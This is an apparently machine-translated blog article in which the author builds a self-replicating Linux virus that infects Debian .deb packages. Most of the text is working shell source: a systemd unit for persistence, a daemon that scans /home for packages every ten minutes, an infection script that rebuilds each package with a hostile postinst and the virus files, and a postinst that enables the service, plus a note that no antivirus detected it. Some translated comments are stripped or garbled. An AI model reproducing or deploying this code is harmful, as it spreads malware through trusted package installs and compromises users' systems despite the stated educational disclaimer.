Trojanischer Pinguin: Einen Virus für Linux erstellen

Nein, ich werde nicht sagen, wie ich meine Ransomware Ransomware, Miner schreiben oder eine super neue Sicherheitslücke ausnutzen soll, wie Sie vielleicht denken. Und noch mehr, ich bin nicht bestrebt, den Holivar "Ist Linux sicherer als Windows? (Ja)" zu erheben. Mein Ziel war es, einen einfachen Virus für Linux zu schreiben, sozusagen niemand, "Just for Fun", dessen einzige Funktion darin besteht, seine Kopie zu verbreiten. Über das, was ich getan habe, werde ich in diesem Artikel erzählen. Am Ende werde ich einen Link zu GitHub mit der Quelle geben.

Bild

Haftungsausschluss


Dieser Artikel wurde zu Bildungszwecken verfasst. Der Autor ermutigt die Leser in keinem Fall, die Gesetze der Russischen Föderation zu verletzen. Bitte wiederholen Sie die in diesem Artikel beschriebenen Schritte nicht, ohne zuerst Kapitel 28 des Strafgesetzbuchs der Russischen Föderation gelesen zu haben.

Und was werden wir eigentlich tun?


Der einfachste Implementierungsmechanismus zur Verbreitung des Virus schien mir über modifizierte deb / rpm-Pakete verbreitet zu werden. Die deb- und rpm-Pakete sind jetzt das beliebteste Distributionstool für Linux. Ich habe mich für deb entschieden, da die Anzahl der Benutzer von Debian-basierten Distributionen Vorrang vor den Benutzern von Red Hat und seinen "Followern" hat.

Es ist auch erforderlich, dass der Virus automatisch startet und nach jeder bestimmten Zeit den Computer nach Deb-Paketen durchsucht. Um das Debuggen zu vereinfachen, habe ich einen Zeitraum von 10 Minuten gewählt.

Was ist ein Deb-Paket?


Das Deb-Paket ist ein Archiv im AR- Format, das keine Komprimierung verwendet. Es gibt drei weitere Dateien im Archiv: debian-bynary , control.tar und data.tar

debian.binary - eine Textdatei, die eine Version des Deb-Paketformats enthält, im Moment schreiben sie dort immer "2.0".

control.tar - Archiv mit Dateien, die Informationen über das Paket (z. B. die erforderliche Steuerdatei) und Pakete enthalten, die für die Installation des Pakets erforderlich sind (z. B. Preinst-, Postinst-, Prerm- und Postrm-Skripte, die vor / nach der Installation / Deinstallation des Pakets ausgeführt werden). Es kann mit gzip oder xz komprimiert werden. In diesem Fall wird die Erweiterung .gz oder .xz zum Archivnamen hinzugefügt.

data.tar - Archiv mit Verzeichnissen, die installierte Dateien enthalten. Verzeichnisse werden durch einen Baum dargestellt, in dessen Form sie in das Stammverzeichnis des Dateisystems extrahiert werden sollen. Kann mit gzip, bzip2, lzma, xz komprimiert werden.

Wir müssen auf die Steuerdatei aus dem Archiv control.tar achten. Diese Datei enthält Informationen über das Paket, wie z. B. den Autor, die Beschreibung, die Version, die Paketpriorität im System usw. Ich interessiere mich für das Abhängigkeitsfeld , in dem die Abhängigkeiten angezeigt werden (Pakete, ohne die es mit diesem Paket nicht funktionieren kann). In diesem Feld hängt unser Virus die Dienstprogramme fakeroot und dpkg an , die zum Ändern anderer Pakete auf dem infizierten Computer benötigt werden.

Um ein Deb-Paket zu erstellen, wird das Stammverzeichnis des Pakets erstellt. Verzeichnisse mit installierten Dateien und das DEBIAN-Verzeichnis mit Servicedateien, einschließlich Steuerelementen und Skripten für die Installation / Deinstallation, werden darin abgelegt. Dann wird der Befehl fakeroot dpkg-deb --build ./path ausgeführt .

Zuerst gab es einen Dämon


Zum Zeitpunkt des Schreibens des Virus hatte ich noch eine schlechte Vorstellung davon, was Cron ist , und so schrieb ich meinen eigenen Daemon für systemd . Ich habe die Datei trojan_penguin.service erstellt, die im Verzeichnis / lib / systemd / system abgelegt wird, und Folgendes hinzugefügt:

[Unit] Description = XXX [Service] ExecStart=/usr/bin/trojan_penguin.sh Type=fork [Install] WantedBy=multi-user.target 

ExecStart = / usr / bin / trojan_penguin.sh - hier habe ich den Pfad zur Datei (zum zukünftigen Virus) angegeben, die beim Systemstart gestartet werden soll.

Typ = Gabel - Diese Zeile gibt an, dass der Prozess vom übergeordneten Prozess abzweigen soll.
Ich habe keine Notwendigkeit für eine PID-Datei gesehen, also habe ich sie nicht hinzugefügt.
In den Handbüchern zum Schreiben Ihres Daemons wird vorgeschlagen, .service-Dateien in den Verzeichnissen / usr / lib / systemd / system / oder / etc / systemd / system / abzulegen. Aber in meinem Ubunt habe ich das Verzeichnis / lib / systemd / system gefunden. (Ich habe dort apache2.service). Vielleicht schreibt jemand in den Kommentaren, wofür dieses Verzeichnis gedacht ist und wie es sich von den beiden anderen unterscheidet.

Die Datei /usr/bin/trojan_penguin.sh Ich habe diese:

 #!/bin/bash #debug=".../Programming/projects/TrojanPenguin" debug="" #    ,    if ! [ -d $debug/var/log/trojan_penguin/ ]; then mkdir $debug/var/log/trojan_penguin fi #   , #   10  while [ 1 ] do list=$(find /home -name "*.deb") # deb- #        for line in $list do $debug/usr/bin/tp_infect.sh $line >> $debug/var/log/trojan_penguin/log # ,  ,      log done date > $debug/var/log/trojan_penguin/last_start #     (     ) sleep 600 # (60 * 10  = 10 ) done 

Wir suchen nach Deb-Paketen im Abschnitt / home (wo kann ich sie sonst noch finden?). Die Pfade zu den gefundenen Dateien werden in die Listenvariable geschrieben. Dann iterieren Sie einfach über alle Zeilen von Zeile und führen für jede Datei das Skript tp_infect.sh aus, das diese Datei infiziert. Als ich den Virus schrieb, befanden sich die Skripte in einem separaten Verzeichnis, und der Einfachheit halber erstellte ich eine Debug- Variable, in die ich den Pfad zu diesem Ordner schrieb.

Der Daemon ist bereit. Es bleibt zu lernen, wie er ausgeführt wird, wenn das System gestartet wird. Dafür habe ich ein Postinstall- Skript geschrieben. Es wird sofort nach der Installation des infizierten Pakets gestartet und zeigt an, dass unser Virus mit dem System startet. Ich habe es in das Verzeichnis "/ usr / bin /" gestellt, um es von dort in die infizierten Pakete zu kopieren.

 #!/bin/bash #debug="/home/dima/Dropbox/Programming/projects/TrojanPenguin/TrojanPenguin" debug="" systemctl daemon-reload #  ,           systemctl enable trojan_penguin.service #     systemctl start trojan_penguin.service #  

Ändern des Deb-Pakets


Wie ich oben geschrieben habe, können in einem Deb-Paket enthaltene Archive unterschiedliche Berechtigungen haben. Ich habe mich nicht darum gekümmert und nur den Fall betrachtet, wenn Archive mit .xz komprimiert werden. Die für die Änderung verantwortliche Datei /usr/bin/tp_infect.sh hat den folgenden Inhalt erhalten:

 #!/bin/bash #debug=".../Programming/projects/TrojanPenguin" debug="" temp="$debug/tmp/trojan_penguin" #   mkdir $temp mkdir $temp/new mkdir $temp/new/DEBIAN #  ar -p $1 data.tar.xz | tar -xJ -C $temp/new ar -p $1 control.tar.xz | tar -xJ -C $temp/new/DEBIAN/ # control #  control     "Deepends",    "Deepends",   ,     . cp $temp/new/DEBIAN/control $temp/orig_control cat $temp/orig_control | grep --before-context=100 Depends | grep -v Depends > $temp/new/DEBIAN/control cat $temp/orig_control | grep Depends | tr -d '\r\n' >> $temp/new/DEBIAN/control echo ", fakeroot, python" >> $temp/new/DEBIAN/control cat $temp/orig_control | grep --after-context=100 Depends | grep -v Depends >> $temp/new/DEBIAN/control #    cp $debug/usr/bin/tp_postinst.sh $temp/new/DEBIAN/postinst #     ,    if ! [ -d $temp/new/usr ]; then mkdir $temp/new/usr fi if ! [ -d $temp/new/usr/bin ]; then mkdir $temp/new/usr/bin fi if ! [ -d $temp/new/lib ]; then mkdir $temp/new/lib fi if ! [ -d $temp/new/lib/systemd ]; then mkdir $temp/new/lib/systemd fi if ! [ -d $temp/new/lib/systemd/system ]; then mkdir $temp/new/lib/systemd/system fi #   cp $debug/usr/bin/trojan_penguin.sh $temp/new/usr/bin/trojan_penguin.sh cp $debug/usr/bin/tp_infect.sh $temp/new/usr/bin/tp_infect.sh cp $debug/usr/bin/tp_postinst.sh $temp/new/usr/bin/tp_postinst.sh cp $debug/lib/systemd/system/trojan_penguin.service $temp/new/lib/systemd/system/ # ,        ,    . fakeroot dpkg-deb --build $temp/new cp $temp/new.deb $1 rm -R $temp 

Probleme mit der Nachinstallation


Alles wäre gut, aber jetzt haben wir ein Problem. Aber was ist, wenn das Paket bereits nach der Installation installiert ist? Das ursprüngliche Postinstal kann in verschiedenen Sprachen geschrieben werden (Python, Bash ...), vielleicht ist es sogar eine Binärdatei. Dies erlaubt uns nicht, einfach unsere Nachinstallation zu nehmen und hinzuzufügen. Ich habe dieses Problem wie folgt gelöst:

Dem Skript tp_infect.sh wurde Folgendes hinzugefügt :

 #,     postinstal.  ,      . if [ -f $temp/new/usr/bin/postinst ]; then cp $temp/new/DEBIAN/postinst $debug/usr/bin/tp_orig_postinst fi 

Und nach der Installation ist dies:

 #      if [ -f $debug/usr/bin/tp_orig_postinst ]; then $debug/usr/bin/tp_orig_postinst rm $debug/usr/bin/tp_orig_postinst fi 

Ich habe ein Problem gelöst, aber ein anderes ist aufgetaucht. Unser Virus ändert das Paket, auch wenn es bereits infiziert ist. Nach der Änderung erkennt der Virus, dass das Paket eine Nachinstallation enthält (die eigentlich unsere ist). Verschieben Sie diese nach / usr / bin /, wodurch das Original überschrieben wird. Um dies zu vermeiden, habe ich "tp_infect.sh" überprüft, ob wir diese Datei geändert haben oder nicht:

 if [ -f $temp/new/usr/bin/trojan_penguin.sh ]; then rm -R $temp exit 0 fi 

Zusammenfügen


Der Virus ist bereit. Hier ist ein Link zu GitHub , wie versprochen. Dieser Virus kann aus dem Repository in ein separates Deb-Paket (run makedeb.sh) kompiliert werden. Um den Virus in ein beliebiges Paket zu injizieren, führen Sie einfach den folgenden Befehl aus:

 tp_infect.sh /  deb-/ 

Es gibt zwei Kopien des Postinst- Skripts im Repository

DEBIAN / postinst - Diese Kopie wird nur ausgeführt, wenn ein leeres Paket mit einem Virus installiert wird. Ich habe es auskommentiert, damit der Virus nach der Installation nicht startet und Pakete nur per Befehl ändert.

usr / bin / postinst - Diese Kopie wird in die infizierten Pakete eingefügt.

Zusammenfassung


Und die Schlussfolgerung ist ohne diesen Artikel offensichtlich: Sie sollten keine Programme aus nicht überprüften Quellen herunterladen und ausführen.

Aus Neugier habe ich das Virus-Deb-Paket zur Analyse an VirusTotal gesendet. Zum Zeitpunkt des Schreibens hat es kein einziges Antivirenprogramm erkannt. Hier ist der Link zum Bericht. Ich frage mich, wie viel Zeit vergehen sollte und wie viele Hosts mit diesem Virus infiziert werden müssen, damit Virenschutzprogramme darauf achten können.

Source: https://habr.com/ru/post/de430460/


All Articles